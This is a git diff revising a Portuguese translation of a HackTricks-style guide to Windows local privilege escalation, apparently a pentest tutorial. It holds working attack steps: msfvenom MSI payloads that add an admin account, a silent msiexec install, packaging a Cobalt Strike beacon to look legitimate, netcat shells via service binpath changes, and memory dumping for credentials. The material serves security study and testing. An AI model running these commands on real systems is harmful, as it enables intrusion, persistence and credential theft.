diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index a508fff81..56b36b486 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Melhor ferramenta para procurar vetores de Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Teoria Inicial do Windows +## Initial Windows Theory ### Access Tokens -**Se você não sabe o que são Windows Access Tokens, leia a seguinte página antes de continuar:** +**Se você não sabe o que são Windows Access Tokens, leia a página a seguir antes de continuar:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Verifique a seguinte página para mais info sobre ACLs - DACLs/SACLs/ACEs:** +**Consulte a página a seguir para mais informações sobre ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Se você não sabe o que são integrity levels no Windows você deve ler a seguinte página antes de continuar:** +**Se você não sabe o que são integrity levels no Windows, deve ler a página a seguir antes de continuar:** {{#ref}} integrity-levels.md {{#endref}} -## Controles de Segurança do Windows +## Windows Security Controls -Existem diferentes coisas no Windows que podem **impedir que você enumere o sistema**, execute executáveis ou até **detectar suas atividades**. Você deve **ler** a seguinte **página** e **enumerar** todos esses **mecanismos de defesa** antes de iniciar a enumeração de privilege escalation: +Existem diferentes coisas no Windows que podem **impedi-lo de enumerar o sistema**, executar executáveis ou mesmo **detectar suas atividades**. Você deve **ler** a seguinte **página** e **enumerar** todos esses **mecanismos** de **defesa** **antes de iniciar a enumeração de privilege escalation**: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Informações do Sistema +## System Info -### Enumeração de informações de versão +### Version info enumeration -Verifique se a versão do Windows tem alguma vulnerabilidade conhecida (verifique também os patches aplicados). +Verifique se a versão do Windows possui alguma vulnerabilidade conhecida (verifique também os patches aplicados). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Exploits de Versão +### Explorações por versão -Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para pesquisar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Esta base de dados tem mais de 4.700 vulnerabilidades de segurança, mostrando a **enorme superfície de ataque** que um ambiente Windows apresenta. +Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para procurar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Esta base de dados tem mais de 4.700 vulnerabilidades de segurança, mostrando o **massive attack surface** que um ambiente Windows apresenta. **No sistema** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem o watson incorporado)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas tem watson incorporado)_ **Localmente com informações do sistema** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repositórios do Github de exploits:** +**Repositórios no GitHub de exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para ### Ambiente -Alguma credencial/informação Juicy salva nas variáveis de ambiente? +Alguma credencial/Juicy info salva nas env variables? ```bash set dir env: @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### Arquivos de Transcrição do PowerShell +### Arquivos de transcrição do PowerShell Você pode aprender como ativar isso em [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados da saída podem não ser capturados. +Detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados de saída podem não ser capturados. -Para habilitar isso, siga as instruções na seção "Transcript files" da documentação, optando por **"Module Logging"** em vez de **"Powershell Transcription"**. +Para ativar isso, siga as instruções na seção "Transcript files" da documentação, optando por **"Module Logging"** em vez de **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Para ver os últimos 15 eventos dos logs do PowersShell você pode executar: +Para visualizar os últimos 15 eventos nos logs do PowersShell, você pode executar: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -É capturado um registro completo de atividades e do conteúdo total da execução do script, garantindo que cada bloco de código seja documentado enquanto é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para a análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidas informações detalhadas sobre o processo. +Um registro completo de atividade e do conteúdo total da execução do script é capturado, garantindo que cada bloco de código seja documentado à medida que é executado. Esse processo preserva uma trilha de auditoria abrangente de cada atividade, valiosa para investigações forenses e para a análise de comportamento malicioso. Ao documentar todas as atividades no momento da execução, obtêm-se insights detalhados sobre o processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Os eventos de log para o Script Block podem ser localizados no Visualizador de Eventos do Windows no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Para visualizar os últimos 20 eventos você pode usar: +Os eventos de log para o Script Block podem ser encontrados no Windows Event Viewer no caminho: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Para ver os últimos 20 eventos você pode usar: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Você pode comprometer o sistema se as atualizações não forem solicitadas usando http**S** mas sim http. +Você pode comprometer o sistema se as atualizações não forem solicitadas usando http**S** mas http. -Você começa verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd: +Comece verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -182,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ou `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` for igual a `1`. -**Então, pode ser explorado.** Se o último registro for igual a 0, a entrada WSUS será ignorada. +Então, **é explorável.** Se o último registro for igual a 0, então a entrada WSUS será ignorada. -Para explorar essas vulnerabilidades você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - estes são scripts de exploits MiTM armados para injetar atualizações 'falsas' no tráfego WSUS non-SSL. +Para explorar essa vulnerabilidade você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Estas são scripts de exploit MiTM armados para injetar atualizações 'falsas' em tráfego WSUS não-SSL. -Read the research here: +Leia a pesquisa aqui: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,18 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/). +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Basicamente, esta é a falha que este bug explora: -> Se tivermos o poder de modificar o proxy do nosso usuário local, e o Windows Updates usa o proxy configurado nas configurações do Internet Explorer, temos então o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado no nosso ativo. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> Além disso, já que o serviço WSUS usa as configurações do usuário atual, ele também usará o seu certificate store. Se gerarmos um certificado self-signed para o hostname do WSUS e adicionarmos esse certificado ao certificate store do usuário atual, seremos capazes de interceptar tanto o tráfego HTTP quanto HTTPS do WSUS. WSUS não usa mecanismos do tipo HSTS para implementar uma validação trust-on-first-use no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o hostname correto, ele será aceito pelo serviço. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (uma vez que esteja liberada). -## Atualizadores Automáticos de Terceiros e Agent IPC (local privesc) +## Third-Party Auto-Updaters and Agent IPC (local privesc) -Muitos agentes empresariais expõem uma superfície localhost IPC e um canal de atualização privilegiado. Se o enrollment puder ser coagido para um servidor do atacante e o updater confiar em uma rogue root CA ou em verificações fracas do signer, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui: +Muitos agentes empresariais expõem uma superfície IPC em localhost e um canal de atualização privilegiado. Se o enrollment puder ser forçado para um servidor do atacante e o updater confiar em uma root CA maliciosa ou em verificações de assinatura fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Uma vulnerabilidade de **local privilege escalation** existe em ambientes Windows **domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing is not enforced,** usuários possuem direitos que lhes permitem configurar **Resource-Based Constrained Delegation (RBCD),** e a capacidade para usuários criarem computadores dentro do domínio. É importante notar que esses **requirements** são atendidos usando as **default settings**. +Uma **local privilege escalation** vulnerability existe em ambientes Windows **domain** sob condições específicas. Essas condições incluem ambientes onde **LDAP signing is not enforced,** usuários possuem direitos que lhes permitem configurar **Resource-Based Constrained Delegation (RBCD),** e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses **requirements** são atendidos usando as **default settings**. -Encontre o **exploit** em [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Para mais informações sobre o fluxo do ataque, veja [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Se** esses 2 registros estiverem **habilitados** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) arquivos `*.msi` como NT AUTHORITY\\**SYSTEM**. +**Se** estes 2 registros estiverem **habilitados** (valor é **0x1**), então usuários de qualquer privilégio podem **instalar** (executar) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,11 +231,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Se você tiver uma sessão meterpreter você pode automatizar essa técnica usando o módulo **`exploit/windows/local/always_install_elevated`** +Se você tiver uma sessão meterpreter, pode automatizar esta técnica usando o módulo **`exploit/windows/local/always_install_elevated`** ### PowerUP -Use o comando `Write-UserAddMSI` do PowerUP para criar, no diretório atual, um binário MSI do Windows para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI): +Use o comando `Write-UserAddMSI` do power-up para criar dentro do diretório atual um binário Windows MSI para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI): ``` Write-UserAddMSI ``` @@ -243,7 +243,7 @@ Basta executar o binário criado para escalar privilégios. ### MSI Wrapper -Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Observe que você pode empacotar um arquivo "**.bat**" se você **apenas** quiser **executar** **linhas de comando** +Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Note que você pode empacotar um "**.bat**" file se você **apenas** quiser **executar** **linhas de comando** {{#ref}} @@ -259,17 +259,17 @@ create-msi-with-wix.md ### Criar MSI com Visual Studio -- **Gere** com Cobalt Strike ou Metasploit um **novo Windows EXE TCP payload** em `C:\privesc\beacon.exe` -- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de busca. Selecione o projeto **Setup Wizard** e clique em **Next**. -- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** como local, selecione **place solution and project in the same directory**, e clique em **Create**. -- Continue clicando **Next** até chegar ao passo 3 de 4 (escolher arquivos para incluir). Clique **Add** e selecione o Beacon payload que você gerou. Então clique em **Finish**. -- Selecione o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, mude **TargetPlatform** de **x86** para **x64**. -- Há outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo. +- **Gere** com Cobalt Strike ou Metasploit um **new Windows EXE TCP payload** em `C:\privesc\beacon.exe` +- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de busca. Selecione o projeto **Setup Wizard** e clique **Next**. +- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** como localização, selecione **place solution and project in the same directory**, e clique **Create**. +- Continue clicando **Next** até chegar ao passo 3 de 4 (choose files to include). Clique **Add** e selecione o Beacon payload que você acabou de gerar. Depois clique em **Finish**. +- Selecione o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, altere **TargetPlatform** de **x86** para **x64**. +- Existem outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo. - Clique com o botão direito no projeto e selecione **View > Custom Actions**. - Clique com o botão direito em **Install** e selecione **Add Custom Action**. -- Clique duas vezes em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o Beacon payload seja executado assim que o instalador for executado. -- Em **Custom Action Properties**, altere **Run64Bit** para **True**. -- Por fim, **compile-o**. +- Dê um duplo clique em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o payload beacon seja executado assim que o instalador for iniciado. +- Sob as **Custom Action Properties**, altere **Run64Bit** para **True**. +- Por fim, **build it**. - Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de definir a plataforma para x64. ### Instalação do MSI @@ -278,13 +278,13 @@ Para executar a **instalação** do arquivo `.msi` malicioso em **segundo plano: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Para explorar essa vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ +Para explorar esta vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ -## Antivírus e Detetores +## Antivírus e Detectores ### Configurações de Auditoria -Essas configurações determinam o que está sendo **registrado**, então você deve prestar atenção +Estas configurações determinam o que é **registrado**, então você deve prestar atenção ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` @@ -296,7 +296,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** foi projetado para o **gerenciamento de senhas do Administrator local**, garantindo que cada senha seja **única, randomizada e atualizada regularmente** em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que tenham recebido permissões suficientes através de ACLs, permitindo que visualizem senhas de admin local se autorizados. +**LAPS** é projetado para o **gerenciamento de senhas do Administrator local**, garantindo que cada senha seja **única, randomizada e atualizada regularmente** em computadores ingressados em um domínio. Essas senhas são armazenadas de forma segura no Active Directory e só podem ser acessadas por usuários a quem foram concedidas permissões suficientes através de ACLs, permitindo que visualizem senhas do Administrator local se autorizados. {{#ref}} @@ -310,10 +310,10 @@ Se ativo, **plain-text passwords are stored in LSASS** (Local Security Authority ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA Protection +### Proteção do LSA -A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Local Security Authority (LSA) com o objetivo de **block** tentativas de processos não confiáveis de **read its memory** ou inject code, reforçando a segurança do sistema.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando a segurança do sistema.\ +[**Mais informações sobre Proteção do LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` @@ -323,17 +323,17 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### Credenciais em cache -**Domain credentials** são autenticadas pela **Local Security Authority** (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, domain credentials para o usuário são normalmente estabelecidas.\ +**Credenciais de domínio** são autenticadas pela **Local Security Authority** (LSA) e utilizadas por componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as credenciais de domínio para esse usuário normalmente são estabelecidas.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +[**Mais informações sobre Credenciais em cache aqui**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Usuários e Grupos +## Usuários & Grupos -### Enumerar Usuários e Grupos +### Enumerar Usuários & Grupos Você deve verificar se algum dos grupos aos quais você pertence possui permissões interessantes ```bash @@ -359,22 +359,22 @@ Se você **pertence a algum grupo privilegiado, pode conseguir escalar privilég ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Manipulação de Token +### Token manipulation **Saiba mais** sobre o que é um **token** nesta página: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Confira a página a seguir para **aprender sobre tokens interessantes** e como abusar deles: +Consulte a página a seguir para **aprender sobre tokens interessantes** e como abusá-los: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Usuários logados / Sessões +### Usuários conectados / Sessões ```bash qwinsta klist sessions ``` -### Pastas do usuário +### Pastas de usuário ```bash dir C:\Users Get-ChildItem C:\Users @@ -387,12 +387,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Processos em Execução +## Processos em execução ### Permissões de Arquivos e Pastas -Antes de tudo, ao listar os processos **verifique se existem senhas na command line do processo**.\ -Verifique se você pode **overwrite algum binary em execução** ou se você tem permissões de escrita na pasta do binary para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): +Antes de tudo, ao listar os processos, verifique **se há senhas dentro da linha de comando do processo**.\ +Verifique se você pode **sobrescrever algum binário em execução** ou se tem permissões de escrita na pasta do binário para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -403,7 +403,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Verifique sempre se há [**electron/cef/chromium debuggers** em execução; você pode abusar disso para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Sempre verifique se há [**electron/cef/chromium debuggers** em execução; você pode abusar deles para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Verificando permissões dos binários dos processos** ```bash @@ -424,13 +424,13 @@ todos %username%" && echo. ``` ### Memory Password mining -Você pode criar um dump de memória de um processo em execução usando **procdump** do sysinternals. Serviços como FTP têm as **credentials in clear text in memory**, tente fazer um dump da memória e ler as credentials. +Você pode criar um memory dump de um processo em execução usando **procdump** do sysinternals. Serviços como FTP têm as **credentials in clear text in memory**; tente fazer o memory dump e ler as credentials. ```bash procdump.exe -accepteula -ma ``` ### Aplicações GUI inseguras -**Aplicações executando como SYSTEM podem permitir que um usuário abra um CMD, ou navegue por diretórios.** +**Aplicações executadas como SYSTEM podem permitir que um usuário abra um CMD ou navegue por diretórios.** Exemplo: "Windows Help and Support" (Windows + F1), procure por "command prompt", clique em "Click to open Command Prompt" @@ -445,7 +445,7 @@ Get-Service ``` ### Permissões -Você pode usar **sc** para obter informações de um serviço +Você pode usar **sc** para obter informações sobre um serviço ```bash sc qc ``` @@ -453,14 +453,14 @@ Recomenda-se ter o binário **accesschk** do _Sysinternals_ para verificar o ní ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Recomenda-se verificar se "Authenticated Users" podem modificar qualquer serviço: +É recomendável verificar se "Authenticated Users" podem modificar algum serviço: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Você pode baixar accesschk.exe para XP aqui](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Habilitar serviço @@ -474,15 +474,15 @@ Você pode habilitá-lo usando sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Tenha em conta que o serviço upnphost depende de SSDPSRV para funcionar (no XP SP1)** +**Tenha em conta que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)** -**Outra solução alternativa** para este problema é executar: +**Outra solução alternativa para este problema é executar:** ``` sc.exe config usosvc start= auto ``` -### **Modificar caminho do binário do serviço** +### **Modificar o caminho do binário do serviço** -No cenário em que o grupo "Authenticated users" possui **SERVICE_ALL_ACCESS** em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar **sc**: +Na situação em que o grupo "Authenticated users" possui **SERVICE_ALL_ACCESS** em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -497,18 +497,18 @@ net stop [service name] && net start [service name] ``` Privilégios podem ser escalados através de várias permissões: -- **SERVICE_CHANGE_CONFIG**: Permite a reconfiguração do binário do serviço. -- **WRITE_DAC**: Habilita a reconfiguração de permissões, permitindo alterar configurações do serviço. -- **WRITE_OWNER**: Permite a aquisição de propriedade e a reconfiguração de permissões. -- **GENERIC_WRITE**: Concede a capacidade de alterar configurações do serviço. -- **GENERIC_ALL**: Também concede a capacidade de alterar configurações do serviço. +- **SERVICE_CHANGE_CONFIG**: Permite reconfigurar o binário do serviço. +- **WRITE_DAC**: Permite reconfiguração de permissões, possibilitando alterar configurações do serviço. +- **WRITE_OWNER**: Permite aquisição de propriedade e reconfiguração de permissões. +- **GENERIC_WRITE**: Herda a capacidade de alterar configurações do serviço. +- **GENERIC_ALL**: Também herda a capacidade de alterar configurações do serviço. Para a detecção e exploração desta vulnerabilidade, pode-se utilizar o _exploit/windows/local/service_permissions_. -### Permissões fracas em binários de serviços +### Services binaries weak permissions -**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de gravação na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Você pode obter todos os binários que são executados por um serviço usando **wmic** (not in system32) e verificar suas permissões usando **icacls**: +**Verifique se pode modificar o binário que é executado por um serviço** ou se você tem **permissão de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html)).\ +Você pode obter todos os binários que são executados por um serviço usando **wmic** (não em system32) e verificar suas permissões usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -532,24 +532,24 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissão `FullControl`. Se sim, o binário executado pelo serviço pode ser alterado. +Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissões `FullControl`. Se for o caso, o binário executado pelo serviço pode ser alterado. Para alterar o Path do binário executado: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### Permissões AppendData/AddSubdirectory no registro de serviços -Se você tiver essa permissão sobre um registro isso significa que **você pode criar sub-registros a partir deste**. No caso dos serviços do Windows isto é **suficiente para executar código arbitrário:** +Se você tem essa permissão sobre um registro isso significa que **você pode criar sub-registros a partir deste**. No caso de serviços do Windows isso é **suficiente para executar código arbitrário:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### Caminhos de serviço sem aspas -Se o caminho para um executável não estiver entre aspas, Windows tentará executar cada trecho terminado antes de um espaço. +Se o caminho para um executável não estiver entre aspas, Windows tentará executar cada parte que termina antes de um espaço. For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash @@ -557,7 +557,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Liste todos os caminhos de serviços sem aspas, excluindo aqueles pertencentes a serviços integrados do Windows: +Liste todos os caminhos de serviço sem aspas, excluindo aqueles pertencentes a serviços integrados do Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -583,13 +583,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Ações de Recuperação -O Windows permite que usuários especifiquem ações a serem executadas se um serviço falhar. Essa funcionalidade pode ser configurada para apontar para um binary. Se esse binary puder ser substituído, é possível realizar privilege escalation. Mais detalhes podem ser encontrados na [documentação oficial](). +Windows permite que usuários especifiquem ações a serem executadas caso um serviço falhe. Esse recurso pode ser configurado para 